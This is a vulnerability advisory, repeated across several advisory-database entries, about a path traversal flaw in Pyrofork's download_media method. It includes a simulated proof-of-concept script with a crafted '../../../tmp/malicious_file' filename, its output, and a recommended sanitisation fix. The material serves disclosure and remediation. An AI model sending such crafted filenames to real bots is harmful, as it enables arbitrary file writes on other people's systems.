github_osv/GHSA-6h2f-wjhf-4wjx
Pyrofork has a Path Traversal in download_media Method
## Summary
The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.
---
## Details
When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender.
### Vulnerable Code Path
**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):
```python
media_file_name = getattr(media, "file_name", "") # Value from Telegram message
directory, file_name = os.path.split(file_name) # Split user's path parameter
file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty
```
When a user calls `download_media(message)` or `download_media(message, "downloads/")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.
**Step 2**: In `pyrogram/client.py` (line 1125):
```python
temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"
```
The `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.
### Why the existing `isabs` check is insufficient
The check at line 153 in `download_media.py`:
```python
if not os.path.isabs(file_name):
directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)
```
This check only handles absolute paths by skipping the directory prefix, but:
1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it
2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly
---
## PoC
The following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:
```python
#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""
import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass
@dataclass
class MockDocument:
"""Simulates a Telegram Document with attacker-controlled file_name"""
file_id: str
file_name: str # Attacker-controlled!
@dataclass
class MockMessage:
"""Simulates a Telegram Message"""
document: MockDocument
DEFAULT_DOWNLOAD_DIR = "downloads/"
def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
"""
Simulates the vulnerable logic from:
- pyrogram/methods/messages/download_media.py (lines 145-154)
- pyrogram/client.py (line 1125)
"""
media = message.document
media_file_name = getattr(media, "file_name", "")
# Line 150-151: Split and fallback
directory, file_name = os.path.split(file_name)
file_name = file_name or media_file_name or ""
# Line 153-154: isabs check (insufficient!)
if not os.path.isabs(file_name):
directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
if not file_name:
file_name = "generated_file.bin"
# Line 1125 in client.py: Path construction
import re
temp_file_path = os.path.abspath(
re.sub("\\\\", "/", os.path.join(str(directory), file_name))
) + ".temp"
return temp_file_path
def run_poc():
print("=" * 60)
print("PYROFORK PATH TRAVERSAL PoC")
print("=" * 60)
with tempfile.TemporaryDirectory() as temp_base:
parent_dir = Path(temp_base)
expected_dir = str(parent_dir / "downloads")
print(f"\n[*] Bot working directory: {parent_dir}")
print(f"[*] Expected download dir: {expected_dir}")
# Attack: Path traversal with ../
print("\n" + "-" * 60)
print("TEST: Path Traversal Attack")
print("-" * 60)
malicious_msg = MockMessage(
document=MockDocument(
file_id="test_id",
file_name="../../../tmp/malicious_file"
)
)
result_path = vulnerable_download_media(
parent_dir=parent_dir,
message=malicious_msg,
file_name="downloads/"
)
# Remove .temp suffix for final path
final_path = os.path.splitext(result_path)[0]
print(f"[*] Malicious filename: ../../../tmp/malicious_file")
print(f"[*] Resulting path: {final_path}")
if not final_path.startswith(expected_dir):
print(f"\n[!] VULNERABILITY CONFIRMED")
print(f"[!] File path escapes intended directory!")
print(f"[!] Expected: {expected_dir}/...")
print(f"[!] Actual: {final_path}")
else:
print("[*] Path is within expected directory")
if __name__ == "__main__":
run_poc()
```
### How to Run
Save the above script and run:
```bash
python3 poc_script.py
```
### Expected Output
```
============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================
[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads
------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file
[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file
```
### Why This Proves the Vulnerability
1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`
2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`
3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library
---
## Impact
### Who is affected?
- Telegram bots or user accounts using Pyrofork that download media with default parameters
- The common usage pattern `await client.download_media(message)` is affected
### Conditions required for exploitation
1. Attacker must be able to send messages to the victim's bot/account
2. Victim must download the media without specifying a custom filename
3. The bot process must have write permissions to the target location
### Potential consequences
- **Arbitrary file write** to locations writable by the bot process
- Overwriting existing files could cause denial of service or configuration issues
- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)
---
## Recommended Fix
Add filename sanitization in `download_media.py` after line 151:
```python
file_name = file_name or media_file_name or ""
# Add this sanitization block:
if file_name:
# Remove any path components, keeping only the basename
file_name = os.path.basename(file_name)
# Remove null bytes which could cause issues
file_name = file_name.replace('\x00', '')
# Handle edge cases
if not file_name or file_name in ('.', '..'):
file_name = ""
```
This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.
---
Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.
gitlab/pypi/pyrofork/CVE-2025-67720
Pyrofork has a Path Traversal in download_media Method
The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.
---
pypa/pyrofork/PYSEC-2026-1841
Pyrofork has a Path Traversal in download_media Method
## Summary
The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.
---
## Details
When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender.
### Vulnerable Code Path
**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):
```python
media_file_name = getattr(media, "file_name", "") # Value from Telegram message
directory, file_name = os.path.split(file_name) # Split user's path parameter
file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty
```
When a user calls `download_media(message)` or `download_media(message, "downloads/")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.
**Step 2**: In `pyrogram/client.py` (line 1125):
```python
temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"
```
The `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.
### Why the existing `isabs` check is insufficient
The check at line 153 in `download_media.py`:
```python
if not os.path.isabs(file_name):
directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)
```
This check only handles absolute paths by skipping the directory prefix, but:
1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it
2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly
---
## PoC
The following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:
```python
#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""
import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass
@dataclass
class MockDocument:
"""Simulates a Telegram Document with attacker-controlled file_name"""
file_id: str
file_name: str # Attacker-controlled!
@dataclass
class MockMessage:
"""Simulates a Telegram Message"""
document: MockDocument
DEFAULT_DOWNLOAD_DIR = "downloads/"
def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
"""
Simulates the vulnerable logic from:
- pyrogram/methods/messages/download_media.py (lines 145-154)
- pyrogram/client.py (line 1125)
"""
media = message.document
media_file_name = getattr(media, "file_name", "")
# Line 150-151: Split and fallback
directory, file_name = os.path.split(file_name)
file_name = file_name or media_file_name or ""
# Line 153-154: isabs check (insufficient!)
if not os.path.isabs(file_name):
directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
if not file_name:
file_name = "generated_file.bin"
# Line 1125 in client.py: Path construction
import re
temp_file_path = os.path.abspath(
re.sub("\\\\", "/", os.path.join(str(directory), file_name))
) + ".temp"
return temp_file_path
def run_poc():
print("=" * 60)
print("PYROFORK PATH TRAVERSAL PoC")
print("=" * 60)
with tempfile.TemporaryDirectory() as temp_base:
parent_dir = Path(temp_base)
expected_dir = str(parent_dir / "downloads")
print(f"\n[*] Bot working directory: {parent_dir}")
print(f"[*] Expected download dir: {expected_dir}")
# Attack: Path traversal with ../
print("\n" + "-" * 60)
print("TEST: Path Traversal Attack")
print("-" * 60)
malicious_msg = MockMessage(
document=MockDocument(
file_id="test_id",
file_name="../../../tmp/malicious_file"
)
)
result_path = vulnerable_download_media(
parent_dir=parent_dir,
message=malicious_msg,
file_name="downloads/"
)
# Remove .temp suffix for final path
final_path = os.path.splitext(result_path)[0]
print(f"[*] Malicious filename: ../../../tmp/malicious_file")
print(f"[*] Resulting path: {final_path}")
if not final_path.startswith(expected_dir):
print(f"\n[!] VULNERABILITY CONFIRMED")
print(f"[!] File path escapes intended directory!")
print(f"[!] Expected: {expected_dir}/...")
print(f"[!] Actual: {final_path}")
else:
print("[*] Path is within expected directory")
if __name__ == "__main__":
run_poc()
```
### How to Run
Save the above script and run:
```bash
python3 poc_script.py
```
### Expected Output
```
============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================
[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads
------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file
[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file
```
### Why This Proves the Vulnerability
1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`
2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`
3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library
---
## Impact
### Who is affected?
- Telegram bots or user accounts using Pyrofork that download media with default parameters
- The common usage pattern `await client.download_media(message)` is affected
### Conditions required for exploitation
1. Attacker must be able to send messages to the victim's bot/account
2. Victim must download the media without specifying a custom filename
3. The bot process must have write permissions to the target location
### Potential consequences
- **Arbitrary file write** to locations writable by the bot process
- Overwriting existing files could cause denial of service or configuration issues
- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)
---
## Recommended Fix
Add filename sanitization in `download_media.py` after line 151:
```python
file_name = file_name or media_file_name or ""
# Add this sanitization block:
if file_name:
# Remove any path components, keeping only the basename
file_name = os.path.basename(file_name)
# Remove null bytes which could cause issues
file_name = file_name.replace('\x00', '')
# Handle edge cases
if not file_name or file_name in ('.', '..'):
file_name = ""
```
This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.
---
Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.
pysec/PYSEC-2026-1841
Pyrofork has a Path Traversal in download_media Method
## Summary
The `download_media` method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., `../`) or absolute paths in the filename.
---
## Details
When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the `file_name` attribute from the media object. This attribute originates from Telegram's `DocumentAttributeFilename` and is controlled by the message sender.
### Vulnerable Code Path
**Step 1**: In `pyrogram/methods/messages/download_media.py` (lines 145-151):
```python
media_file_name = getattr(media, "file_name", "") # Value from Telegram message
directory, file_name = os.path.split(file_name) # Split user's path parameter
file_name = file_name or media_file_name or "" # Falls back to media_file_name if empty
```
When a user calls `download_media(message)` or `download_media(message, "downloads/")`, the `os.path.split()` returns an empty filename, causing the code to use `media_file_name` which is attacker-controlled.
**Step 2**: In `pyrogram/client.py` (line 1125):
```python
temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"
```
The `os.path.join()` function does not prevent path traversal. When `file_name` contains `../` sequences or is an absolute path, it allows writing outside the intended download directory.
### Why the existing `isabs` check is insufficient
The check at line 153 in `download_media.py`:
```python
if not os.path.isabs(file_name):
directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)
```
This check only handles absolute paths by skipping the directory prefix, but:
1. For relative paths with `../`, `os.path.isabs()` returns `False`, so the check doesn't catch it
2. For absolute paths, `os.path.join()` in the next step will still use the absolute path directly
---
## PoC
The following Python script demonstrates the vulnerability by simulating the exact code logic from `download_media.py` and `client.py`:
```python
#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""
import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass
@dataclass
class MockDocument:
"""Simulates a Telegram Document with attacker-controlled file_name"""
file_id: str
file_name: str # Attacker-controlled!
@dataclass
class MockMessage:
"""Simulates a Telegram Message"""
document: MockDocument
DEFAULT_DOWNLOAD_DIR = "downloads/"
def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
"""
Simulates the vulnerable logic from:
- pyrogram/methods/messages/download_media.py (lines 145-154)
- pyrogram/client.py (line 1125)
"""
media = message.document
media_file_name = getattr(media, "file_name", "")
# Line 150-151: Split and fallback
directory, file_name = os.path.split(file_name)
file_name = file_name or media_file_name or ""
# Line 153-154: isabs check (insufficient!)
if not os.path.isabs(file_name):
directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
if not file_name:
file_name = "generated_file.bin"
# Line 1125 in client.py: Path construction
import re
temp_file_path = os.path.abspath(
re.sub("\\\\", "/", os.path.join(str(directory), file_name))
) + ".temp"
return temp_file_path
def run_poc():
print("=" * 60)
print("PYROFORK PATH TRAVERSAL PoC")
print("=" * 60)
with tempfile.TemporaryDirectory() as temp_base:
parent_dir = Path(temp_base)
expected_dir = str(parent_dir / "downloads")
print(f"\n[*] Bot working directory: {parent_dir}")
print(f"[*] Expected download dir: {expected_dir}")
# Attack: Path traversal with ../
print("\n" + "-" * 60)
print("TEST: Path Traversal Attack")
print("-" * 60)
malicious_msg = MockMessage(
document=MockDocument(
file_id="test_id",
file_name="../../../tmp/malicious_file"
)
)
result_path = vulnerable_download_media(
parent_dir=parent_dir,
message=malicious_msg,
file_name="downloads/"
)
# Remove .temp suffix for final path
final_path = os.path.splitext(result_path)[0]
print(f"[*] Malicious filename: ../../../tmp/malicious_file")
print(f"[*] Resulting path: {final_path}")
if not final_path.startswith(expected_dir):
print(f"\n[!] VULNERABILITY CONFIRMED")
print(f"[!] File path escapes intended directory!")
print(f"[!] Expected: {expected_dir}/...")
print(f"[!] Actual: {final_path}")
else:
print("[*] Path is within expected directory")
if __name__ == "__main__":
run_poc()
```
### How to Run
Save the above script and run:
```bash
python3 poc_script.py
```
### Expected Output
```
============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================
[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads
------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file
[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file
```
### Why This Proves the Vulnerability
1. The PoC uses the **exact same logic** as the vulnerable code in `download_media.py` and `client.py`
2. The malicious filename `../../../tmp/malicious_file` causes the path to escape from `/tmp/tmpXXX/downloads/` to `/tmp/malicious_file`
3. Python's `os.path.join()` and `os.path.abspath()` behavior is deterministic - this will work the same way in the real library
---
## Impact
### Who is affected?
- Telegram bots or user accounts using Pyrofork that download media with default parameters
- The common usage pattern `await client.download_media(message)` is affected
### Conditions required for exploitation
1. Attacker must be able to send messages to the victim's bot/account
2. Victim must download the media without specifying a custom filename
3. The bot process must have write permissions to the target location
### Potential consequences
- **Arbitrary file write** to locations writable by the bot process
- Overwriting existing files could cause denial of service or configuration issues
- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)
---
## Recommended Fix
Add filename sanitization in `download_media.py` after line 151:
```python
file_name = file_name or media_file_name or ""
# Add this sanitization block:
if file_name:
# Remove any path components, keeping only the basename
file_name = os.path.basename(file_name)
# Remove null bytes which could cause issues
file_name = file_name.replace('\x00', '')
# Handle edge cases
if not file_name or file_name in ('.', '..'):
file_name = ""
```
This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.
---
Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.